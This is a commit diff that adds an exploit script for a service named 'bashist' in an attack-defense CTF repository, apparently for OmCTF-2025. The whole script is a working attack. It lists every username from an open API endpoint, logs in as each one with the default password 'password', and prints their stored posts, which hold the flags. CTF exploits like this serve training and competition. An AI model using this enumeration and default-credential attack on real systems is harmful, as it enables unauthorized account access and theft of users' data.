adding validated services? patching forcad_local.py

OmCTF-2025/sploits/bashist/sploit1.py

@@ -0,0 +1,27 @@
+import sys
+
+import requests
+
+ip = sys.argv[1]
+
+base_url = f"http://{ip}:1599"
+sess = requests.Session()
+
+r = sess.get(f"{base_url}/api/users")
+assert r.ok, r.text
+
+users = [el["username"] for el in r.json()]
+
+for user in users:
+    sess = requests.Session()
+    r = sess.post(
+        f"{base_url}/api/user/login", json={"username": user, "password": "password"}
+    )
+    assert r.ok, r.text
+
+    r = sess.get(f"{base_url}/api/user/posts")
+    assert r.ok, r.text
+
+    flags = [post["content"] for post in r.json()]
+    for flag in flags:
+        print(flag)